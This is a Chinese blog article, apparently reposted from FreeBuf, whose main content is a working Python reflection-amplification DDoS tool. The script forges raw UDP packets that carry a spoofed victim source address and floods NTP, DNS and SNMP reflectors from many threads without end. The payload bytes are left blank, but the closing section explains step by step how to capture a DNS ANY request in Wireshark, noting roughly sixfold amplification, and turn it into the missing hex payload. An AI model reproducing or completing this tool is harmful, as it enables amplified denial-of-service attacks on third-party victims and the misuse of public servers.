浅谈拒绝服务攻击的原理与防御（3）：反射DDOS攻击利用代码

随便、先森。

0×01 前言

之前发了一篇关于反射DDOS攻击原理以及反射资源扫描的文章，本来今天的这个应该并到那篇文章里，共称为反射DDOS攻击扫描与利用，但是我怕这样做会教坏小孩子，我发第一篇DDOS文章的时候freebuf就502了。。。。。凑巧了，弄得我都不敢发利用代码了，但是我想了一天以后我觉得我还是发出来吧，毕竟我写的也不好，没必要藏着掖着的，我还会把payload去掉，让大家自己填写，这就不算是我搞破坏了。废话不多说了，赶紧发完下班了。


0×02 代码的使用方法

首先，我这是在linux环境下写的，开始我用windows开发的，但是总是不成功，调用python的原始套接字伪造源IP地址总是不能发出去，后来我换到linux上就好了（kali），我并没有调用第三方的库，只要是linux+python就可以执行，在执行之前需要先在利用代码的同文件夹中建一个ipaddress.txt文件 ，作为反射攻击的反射资源地址池，多点少点都行，但是记住最后一行不要空着，不然程序报错，格式就如同下图（IP地址，端口号）：

利用代码就是如下这些了。。。。

1. #!/usr/bin/python
   
2. #-*-coding:utf-8-*-
   
3. 
   
4. import socket
   
5. import struct
   
6. import random
   
7. import threading
   
8. 
   
9. class myThread (threading.Thread):   
   
10.     def __init__(self,srcip,srcport):
    
11.         threading.Thread.__init__(self)         
    
12.         self.srcip = srcip
    
13.         self.srcport =srcport
    
14.                  
    
15.     def run(self):                    
    
16.         re_att(self.srcip,self.srcport)
    
17. 
    
18. def checksum(data):
    
19.     s = 0
    
20.     n = len(data) % 2
    
21.     for i in range(0, len(data)-n, 2):
    
22.         s+= ord(data[i]) + (ord(data[i+1]) << 8)
    
23.     if n:
    
24.         s+= ord(data[i+1])
    
25.     while (s >> 16):
    
26.         s = (s & 0xFFFF) + (s >> 16)
    
27.     s = ~s & 0xffff
    
28.     return s
    
29. 
    
30. def IP(source,destination,udplen):
    
31.         version = 4
    
32.         ihl = 5
    
33.         tos = 0
    
34.         tl = 20+udplen
    
35.         ip_id = random.randint(1,65530)
    
36.         flags = 0
    
37.         offset = 0
    
38.         ttl = 128
    
39.         protocol =17
    
40.         check =0
    
41.         source = socket.inet_aton(source)
    
42.         destination = socket.inet_aton(destination)
    
43. 
    
44.         ver_ihl = (version << 4)+ihl
    
45.         flags_offset = (flags << 13)+offset
    
46.         ip_header = struct.pack("!BBHHHBBH4s4s",
    
47.                     ver_ihl,
    
48.                     tos,
    
49.                     tl,
    
50.                     ip_id,
    
51.                     flags_offset,
    
52.                     ttl,
    
53.                     protocol,
    
54.                     check,
    
55.                     source,
    
56.                     destination)
    
57.         check=checksum(ip_header)
    
58.         ip_header = struct.pack("!BBHHHBBH4s4s",
    
59.                     ver_ihl,
    
60.                     tos,
    
61.                     tl,
    
62.                     ip_id,
    
63.                     flags_offset,
    
64.                     ttl,
    
65.                     protocol,
    
66.                     socket.htons(check),
    
67.                     source,
    
68.                     destination)  
    
69.         return ip_header
    
70. 
    
71. def udp(sp,dp,datalen):
    
72.         srcport=sp
    
73.         dstport=dp
    
74.         udplen=8+datalen
    
75.         udp_checksum=0
    
76.         udp_header = struct.pack("!HHHH",srcport,dstport,udplen,udp_checksum)
    
77.         return udp_header
    
78. 
    
79. 
    
80. def re_att(srcip,srcport):
    
81.         NTP_data=#payload需要你们自己写啊，就是写\x0a 这种十六进制的就可以，不会写的话叫你们个简单方法，去whireshark上抓一个包
    
82.         DNS_data=#payload需要你们自己写啊
    
83.         SNMP_data=#payload需要你们自己写啊
    
84. 
    
85.         n=len(ipaddr)-1
    
86.         while 1:
    
87.                 i=random.randint(0,n)
    
88.                 ip_port=ipaddr[i]
    
89.                 dstip=ip_port[0]
    
90.                 dstport=int(ip_port[1])
    
91.                 if dstport==123:
    
92.                         data=NTP_data
    
93.                 elif dstport==53:
    
94.                         data=DNS_data
    
95.                 elif dstport==161:
    
96.                         data=SNMP_data
    
97.                 else:
    
98.                         print 'dest port error!'
    
99.                 datalen=len(data)
    
100.                 udp_header=udp(srcport,dstport,datalen)
     
101.                 ip_header=IP(srcip,dstip,len(udp_header)+datalen)
     
102.                 ip_packet=ip_header+udp_header+data
     
103.                 s.sendto(ip_packet,(dstip,dstport))
     
104. 
     
105. proto_udp=17
     
106. proto_tcp=6
     
107. s = socket.socket(socket.AF_INET,socket.SOCK_RAW,17)
     
108. s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
     
109. ipaddr=[]
     
110. f = open("ipaddress.txt","r")
     
111. lines=f.readlines()
     
112. for line in lines:
     
113.         line=line.strip('\r\n')
     
114.         l=line.split(',')
     
115.         ipaddr.append(l)
     
116. 
     
117. srcip=raw_input('attack IP:')
     
118. srcport=int(input('attack PORT:'))
     
119. threads=int(input("线程数threads："))
     
120. 
     
121. threads_name=[]
     
122. need=(srcip,srcport)        
     
123. for i in range(threads):
     
124.         threads_name.append('teread'+str(i))
     
125. 
     
126. for i in range(threads):        
     
127.         threads_name[i]=myThread(srcip,srcport)
     
128. 
     
129. for i in range(threads):
     
130.         threads_name[i].start()
     
131. 
     
132. 
     
133. #这个攻击没有结束，想停就直接关了终端就可以了
     
134. 
     
135. #这个脚本支持多线程，但是要量力而行，我在虚拟机中10线程就有点卡了

复制代码

这个工具没带payload，但是我可以教大家一个简单的写payload的方法，就是用whireshark抓包

第一步，打开kali whireshark抓包，然后开终端，用dig工具

看，这就能抓到一个DNS的请求和回复包了。这里用的是ANY，请求80字节回复486字节，放大了6倍

第二步，点开请求包（就是80字节那个，别点开错了），选中DNS部分，然后复制，为hex转储

第三步，打开个记事本，把刚才的粘贴进去，这不就是十六进制的payload了吗，把前面的0000那些删掉，再把这些字符以‘\xdf’+’\xdb’+…..这种形式连起来就可以了

第四步，剩下的就自己去领悟吧，别的payload道理差不多，有能力就自己写，想简单点就去复制一下也可以，我可没教你们什么，其他的都是你们自己领悟出来的。。。。。。


*本文作者：黑戈爾，转载自FreeBuf.COM